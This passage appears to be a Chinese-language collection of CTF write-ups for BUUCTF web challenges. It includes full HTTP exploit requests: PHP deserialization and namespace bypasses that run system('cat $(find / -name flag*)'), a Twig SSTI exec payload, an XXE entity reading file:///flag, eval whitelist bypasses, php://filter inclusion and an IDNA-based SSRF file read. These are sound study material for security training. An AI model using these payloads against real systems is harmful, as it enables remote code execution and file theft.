a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

得到flag,或者:

POST /index.php?cmd=strings%20/flag HTTP/1.1
Host: e55e28a0-6ce5-44fc-9386-7275b7e65cba.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 389

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

或者:

POST /index.php?cmd=sort%20/flag HTTP/1.1
Host: e55e28a0-6ce5-44fc-9386-7275b7e65cba.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 389

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。

todo为什么加%,不加%为什么不行。

References

强碰撞 https://www.jianshu.com/p/c9089fd5b1ba

https://my.oschina.net/hetianlab/blog/4949531

https://xz.aliyun.com/t/6911

https://www.jianshu.com/p/f3fe31aeadf4

https://www.jianshu.com/p/21e3e1f74c08

https://www.cnblogs.com/wangtanzhi/p/12244096.html

https://www.wh1teze.top/articles/2020/02/04/1580806596938.html

[网鼎杯 2020 朱雀组]phpweb

打开网页发现提示:

Warning: date(): It is not safe to rely on the system’s timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone ‘UTC’ for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
2021-04-05 08:41:58 am

构造请求,读取index.php源码:

POST /index.php HTTP/1.1
Host: e17ade30-58a8-469f-a158-4a16c6c2fa7f.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

func=file_get_contents&p=index.php

file_get_contents换成highlight_file也可以。不能用show_source

发现源码:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

查询php手册file_get_contents函数:

file_get_contents
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
file_get_contents — 将整个文件读入一个字符串
说明
file_get_contents( string $filename, bool $use_include_path = false, resource $context = ?, int $offset = -1, int $maxlen = ?) : string
和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 false。
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。
Note:
如果要打开有特殊字符的 URL (比如说有空格),就需要使用 urlencode() 进行 URL 编码。

查询php手册call_user_func函数:

call_user_func
(PHP 4, PHP 5, PHP 7, PHP 8)
call_user_func — 把第一个参数作为回调函数调用
说明
call_user_func( callable $callback, mixed $parameter = ?, mixed $… = ?) : mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

call_user_func() 的例子

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>

以上例程会输出:

You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

Test类有__destruct魔术方法,因为unserialize不在黑名单里面,所以想到反序列化漏洞,构造一个反序列化字符串,包含我们需要执行的参数和函数,提交请求后会自动按照我们的设定的函数进行反序列化,把字符串还原成Test类,当在程序结束时,调用__destruct魔术方法,调用了gettime函数,因为控制了类的参数,即可实现任意代码执行。

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用,常见方法:

__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset()//在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

php序列化代码:

<?php
class Test {
    var $p = "cat $(find / -name flag*)";
    var $func = "system";
}
$a  = new Test();
echo serialize($a);
?>

php中类属性必须定义为公有,受保护,私有之一。所以如果没有那三个修饰符,必须用var, varpublic的别名,输出:

O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

构造请求:

POST /index.php HTTP/1.1
Host: e17ade30-58a8-469f-a158-4a16c6c2fa7f.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

得到flag。

命名空间这个概念在PHP5.3就引入了,但一直只支持类名的命名空间,直到PHP5.6才加入了函数名的命名空间。反斜杠加类、函数和常量表示在命名空间内部访问全局类、函数和常量,例子:

<?php
namespace Foo;

function strlen() {}
const INI_ALL = 3;
class Exception {}

$a = \strlen('hi'); // 调用全局函数strlen
$b = \INI_ALL; // 访问全局常量 INI_ALL
$c = new \Exception('error'); // 实例化全局类 Exception
?>

References

https://www.runoob.com/php/php-namespace.html

构造请求:

POST / HTTP/1.1
Host: e17ade30-58a8-469f-a158-4a16c6c2fa7f.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

func=\system&p=cat $(find / -name flag*)

得到flag。

References

https://www.anquanke.com/post/id/205679

[De1CTF 2019]SSRF Me

打开网页,显示源码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

提示是:flag is in ./flag.txt,说明flag文件是flag.txt。一开始是task类,后面会用到这个类。先看这个部分:

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

在目录geneSign目录下,发送GETPOST请求,从请求中提取参数param,然后action被赋值,最后转向getSign函数。这个函数会返回md5,但我们发现它构造的md5有规律可循,都是把secert_key + param + action转化成md5,但secert_key我们不知道是什么。

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

再看

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

发现需要从cookie里面提取actionsign,然后waf判断是否触发过滤机制。最后实例化Task类,然后执行exec函数:

def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

第一个判断会调用:

 def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

我们要让这个函数返回true,所以需要让actionparam合起来的md5sign一模一样。因此需要知道secert_key + param + actionmd5,然后传给sign,这样就可以通过这个判断。

假设secert_keyxxx,一开始访问/geneSign?param=flag.txt,返回的md5就是md5('xxx' + 'flag.txt' + 'scan'),在 python 里面上述表达式就相当于md5(xxxflag.txtscan)。但task类里如果要得到flag.txt文件需要read字符串在action里面,所以md5里面应该还要有read

再次访问/geneSign?param=flag.txtread,拿到的md5就是md5('xxx' + 'flag.txtread' + 'scan'),等价于 md5('xxxflag.txtreadscan')

它输出的md5值与直接访问/De1ta?param=flag.txt构造cookie:action=readscan;sign=7cde191de87fe3ddac26e19acae1525e得到的md5值相等。在python里的语句都是md5('xxxflag.txtreadscan')

References

https://xz.aliyun.com/t/5927

输入url:

/geneSign?param=flag.txtread

网页显示:

9ece1fef99cc22596320b6f27448168b

构造请求:

GET /De1ta?param=flag.txt HTTP/1.1
Host: 5912f2b9-ba90-4eaf-b521-2e7c2f565054.node3.buuoj.cn
cookie: action=readscan;sign=9ece1fef99cc22596320b6f27448168b

注意空两行,得到flag。

todo学习哈希扩展攻击

todo local_file:绕过 https://xz.aliyun.com/t/6050

References

https://joychou.org/web/hash-length-extension-attack.html

[NCTF2019]Fake XML cookbook

这一题要用到XXE(XML External Entity Injection)全称为XML外部实体注入,XML不是HTML的替代。XMLHTML为不同的目的而设计:

XML被设计用来传输和存储数据,其焦点是数据的内容。HTML被设计用来显示数据,其焦点是数据的外观。HTML旨在显示信息,而XML旨在传输信息。

XML里面,数据放置在实体里面,实体被一个叫做DTD的语义规则约束,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合。XML里面实体可以被引用,给实体取名字,在文档的其他地方直接引用。例如:

<!DOCTYPE note [                      <!--定义此文档是 note 名称的文档,为根元素名称-->
		<!ENTITY writer "Dawn">           <!--定义writer为Dawn-->
    <!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>          <!--利用&writer引用定义好的实体-->

使用内部的DTD文件,即将约束规则定义在XML文档中,规则为:

<!DOCTYPE 根元素名称 [元素声明]>

References

https://xz.aliyun.com/t/6887#toc-5

构造请求:

POST /doLogin.php HTTP/1.1
Host: 778da916-8c2e-4588-8d6e-11a5f019e8e0.node3.buuoj.cn
X-Requested-With: XMLHttpRequest
Content-Length: 122

<!DOCTYPE xxe [
<!ENTITY flag SYSTEM "file:///flag" >
]>
<user><username>&flag;</username><password>1</password></user>

得到flag。

也可以写成:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ENTITY flag SYSTEM "file:///flag" >
]>
<user><username>&flag;</username><password>1</password></user>

<?xml version="1.0" encoding="utf-8"?>称为XML prolog,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

References

https://blog.csdn.net/SopRomeo/article/details/105913611

[ASIS 2019]Unicorn shop

打开网页,按F12,发现注释:

<meta charset="utf-8"><!--Ah,really important,seriously. -->

说明本题是字符相关的知识点。考虑utf-8编码的转换安全问题。

References

https://xz.aliyun.com/t/5402

当购买第四件商品时,页面提示:

Only one char(?) allowed!

但1337有四个字符,所以我们考虑有没有一个字符可以表示一万或者更大的数,只要比第四件商品的价格高就行了。于是我们找到了罗马数字的一万,它对应的utf-8编码是E2 86 82,因此在网站输入:

%E2%86%82

得到flag。

References

https://unicode-table.com/cn/2182/

https://blog.csdn.net/SopRomeo/article/details/105465756

[BJDCTF2020]Cookie is so stable

打开网页,点击hint页面,按F12,发现注释:

<!-- Why not take a closer look at cookies? -->

说明cookies是解题的关键。查看网页的cookies:

cd59048e3172da4d60685556df9ccf9b

在提交id页面拦截数据包,发现cookies没有被修改。

POST /flag.php HTTP/1.1
Host: a85606d6-0af3-479e-8a7c-05a7a9b11acb.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=cd59048e3172da4d60685556df9ccf9b
Connection: close
Content-Length: 24

username=1&submit=submit

修改uesrname后发现没用,尝试提交id不拦截,输入1后,网页显示hello 1,刷新网页时拦截:

GET /flag.php HTTP/1.1
Host: a85606d6-0af3-479e-8a7c-05a7a9b11acb.node3.buuoj.cn
Cookie: PHPSESSID=cd59048e3172da4d60685556df9ccf9b; user=1

注意空两行。这时修改user,网页内容就会随之改变,说明这就是注入点。先确定是哪个模板的注入:
在这里插入图片描述

确定哪个模板的注入的一般流程:

有些时候不同的模板引擎对同一输入{{7*'7'}}都有结果

但是在Twig中结果是49,在jinja2中是7777777

References

https://zhuanlan.zhihu.com/p/28823933

https://my.oschina.net/u/4588149/blog/4408349

将user值改为{{7*'7'}}发现网页显示是49,所以确定是Twig模板。一个针对Twig的攻击载荷:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

构造请求:

GET /flag.php HTTP/1.1
Host: a85606d6-0af3-479e-8a7c-05a7a9b11acb.node3.buuoj.cn
Cookie: PHPSESSID=cd59048e3172da4d60685556df9ccf9b; user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

网页显示flag,注意使用Burp Suite时cookies下面空两行。

各种模板的tags:
在这里插入图片描述
References

https://www.cnblogs.com/bmjoker/p/13508538.html

https://my.oschina.net/u/4588149/blog/4408349

https://www.cnblogs.com/wkzb/p/12422190.html

https://zhuanlan.zhihu.com/p/28823933

https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之SSTI漏洞/#2-Twig

https://www.cnblogs.com/wangtanzhi/p/12330542.html

[CISCN 2019 初赛]Love Math

打开网页,发现源代码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

如果没有过滤,GET请求为:

/?c=system("cat /flag")

经过测试/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/只会匹配文本内第一个单词,且单词必须是白名单里面的。

GET请求为:

/?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

最后输入url:

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

todo为什么cat /flag可以检测出空格 但没有输出:请不要输入奇奇怪怪的字符

References

https://cloud.tencent.com/developer/article/1600943

或者

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag

References

https://www.cnblogs.com/wangtanzhi/p/12246731.html

todo 这个链接很多都不成功

[BSidesCF 2020]Had a bad day

进入网页,发现两个按钮。点其中一个按钮后,观察到网页url是:

http://43f9c4eb-7b6c-405e-9dd6-2ce954420f83.node3.buuoj.cn/index.php?category=woofers

考虑用伪协议:

/index.php?category=php://filter/read=convert.base64-encode/resource=index.php

报错信息:

Warning: include(php://filter/read=convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37

发现程序自动加了后缀,所以url修改为:

/index.php?category=php://filter/read=convert.base64-encode/resource=index

发现base64编码,解码后:

<?php

$file = $_GET['category'];
if(isset($file)) {
	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")) {
		include ($file . '.php');
	} else {
		echo "Sorry, we currently only support woofers and meowers.";
	}
}
?>

说明url必须包含woofersmeowersindex这三个词的其中一个。

输入url:

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

得到base64编码,解码后发现flagindex放中间,php解析时会自动忽略它不认识的单词。

或者:

/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

伪协议的协议中指定了特定的协议键,识别到woofers时不认识会忽略掉。

References

https://blog.csdn.net/EC_Carrot/article/details/111245747

/index.php?category=php://filter/index/convert.base64-encode/resource=flag

References

https://c0okb.github.io/2020/04/13/BSidesCF-web/#BSidesCF-2020-Had-a-bad-day

https://zhuanlan.zhihu.com/p/49206578

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

[安洵杯 2019]easy_serialize_php

打开网页,点击链接,显示源代码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

输入url:

/index.php?f=phpinfo

发现:

auto_append_file	d0g3_f1ag.php

说明需要读取d0g3_f1ag.php

extract($_POST);说明要使用POST的方法提交数据,extract($_POST)会将POST的数据中的键名和键值转换为相应的变量名和变量值extract()可以进行变量覆盖,当我们传入SESSION[flag]=123时,$SESSION["user"]$SESSION['function']全部会消失。

在本地创建php网页index.php为:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
extract($_POST);
var_dump($_SESSION);
?>

构造请求:

POST /index.php HTTP/1.1
Host: 10.50.36.45
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

_SESSION[flag]=123

10.50.36.45是本机ipv4地址,请自行设置,为了能让burp Suite拦截到,不能使用localhost访问。响应:

array(2) {
  ["user"]=>
  string(5) "guest"
  ["function"]=>
  NULL
}
array(1) {
  ["flag"]=>
  string(3) "123"
}

只剩下_SESSION[flag]=123。不发送POST请求时,构造请求:

POST /index.php HTTP/1.1
Host: 10.50.36.45

响应:

array(2) {
  ["user"]=>
  string(5) "guest"
  ["function"]=>
  NULL
}
array(2) {
  ["user"]=>
  string(5) "guest"
  ["function"]=>
  NULL
}

可见extract()可以进行变量覆盖。

References

https://crayon-xin.github.io/2018/05/21/extract变量覆盖/

继续阅读源代码:

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

没有任何已知字符串经过sha1加密后再base64解码是d0g3_f1ag.php,所以不能直接用变量覆盖给$_SESSION['img']赋值,源代码最后一步是:

echo file_get_contents(base64_decode($userinfo['img']));

如果直接变量覆盖这一步不可能成功。

继续阅读源代码:

$serialize_info = filter(serialize($_SESSION));

想到考虑反序列化漏洞:键值逃逸。本来挺好的序列化的字符串,按照过滤规则去掉了一些关键字,此时序列化格式就会错乱,涉及到可能破坏原有结构而无法正常反序列化的问题。这里是利用反序列化长度逃逸控制了img参数。也有一道题目是关键字替换导致字符串长度变长,把后面的原有参数挤出去了,本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。

References

https://www.cnblogs.com/wangtanzhi/p/12261610.html

读取d0g3_f1ag.php,base64编码后是Z3Vlc3RfaW1nLnBuZw==

<?php
$_SESSION["phpflag"]=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION["img"]='Z3Vlc3RfaW1nLnBuZw==';
echo serialize($_SESSION);
?>

序列化之后结果为:

a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

键用橙色表示,值用绿色表示。经过filter过滤后,phpflag被过滤,preg_replace默认是进行无限次替换,直到无法匹配正则。

a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

替换掉之后橙色是新的键,绿色是新的值,红色部分会被自动丢弃掉,因为开始的a:2表示只有两个键值对,全部匹配完后,后面的内容会自动忽略。这样$_SESSION['img']的值就被替换成了d0g3_f1ag.phpbase64编码。确认这样可以正确显示d0g3_f1ag.php后,构造请求:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

页面显示为:

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

说明flag在/d0g3_fllllllag里面。/d0g3_fllllllagbase64编码刚好也是20位,修改POST数据:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

得到flag。

References

https://www.jianshu.com/p/8e8117f9fd0e

https://www.cnblogs.com/wangtanzhi/p/12261610.html

[SUCTF 2019]Pythonginx

打开网页,按F12,发现python代码:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

还有注释:

<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

提到了nginx,而nginx配置文件目录是:

/usr/local/nginx/conf/nginx.conf

所以,可能需要读取nginx的配置文件。解题的关键是前两个判断host里面不能有suctf.cc,最后一个判断里面要有suctf.cc

newhost.append(h.encode('idna').decode('utf-8'))

不明白idna是什么,可以使用搜索引擎,发现字符转换漏洞。国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

IDNA(Internationalizing Domain Names in Applications)是一种以标准方式处理ASCII以外字符的一种机制,它从unicode中提取字符,并允许非ASCII码字符以允许使用的ASCII字符表示。

unicodeASCII发生在IDNA中的TOASCII操作中。如果能通过TOASCII转换时,将会以正常的字符呈现。而如果不能通过TOASCII转换时,就会使用ACE标签ACE标签使输入的域名能转化为ASCII

unicode的规范化格式有几种,每种的处理方式有些不一样。

这个字符使用python3进行idna编码:

print('℆'.encode('idna'))

结果

b'c/u'

如果再使用utf-8进行解码:

print(b'c/u'.decode('utf-8'))

结果

c/u

References

https://xz.aliyun.com/t/6135

https://xz.aliyun.com/t/6070

使用python脚本搜索哪些unicode编码符合要求:

from urllib.parse import urlparse,urlunsplit,urlsplit
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass

def getUrl(url):
    url = url
    host = urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

运行结果:

str: ℂ unicode: \u2102
str: ℅ unicode: \u2105
str: ℆ unicode: \u2106
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

References

域名转换具体过程 https://xz.aliyun.com/t/6070

https://www.codenong.com/cs109743728/

https://xz.aliyun.com/t/6042#toc-24

以上字符,都会在

newhost.append(h.encode('idna').decode('utf-8'))

之后转换成suctf.cc,通过最后一个if判断,并访问:

if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()

因此在地址栏输入url,读取nginx配置文件的内容:

/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

最后的finalUrl访问链接变成:

file://suctf.cc/usr/local/nginx/conf/nginx.conf

网页显示:

server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
    # location /flag {
    #     alias /usr/fffffflag;
    # }
}

发现flag路径为/usr/fffffflag,再次在地址栏输入url:

/getUrl?url=file://suctf.c℆sr/fffffflag

得到flag。

查看各阶段变量内容:

from urllib.parse import urlsplit, urlparse, urlunsplit
from urllib.request import urlopen
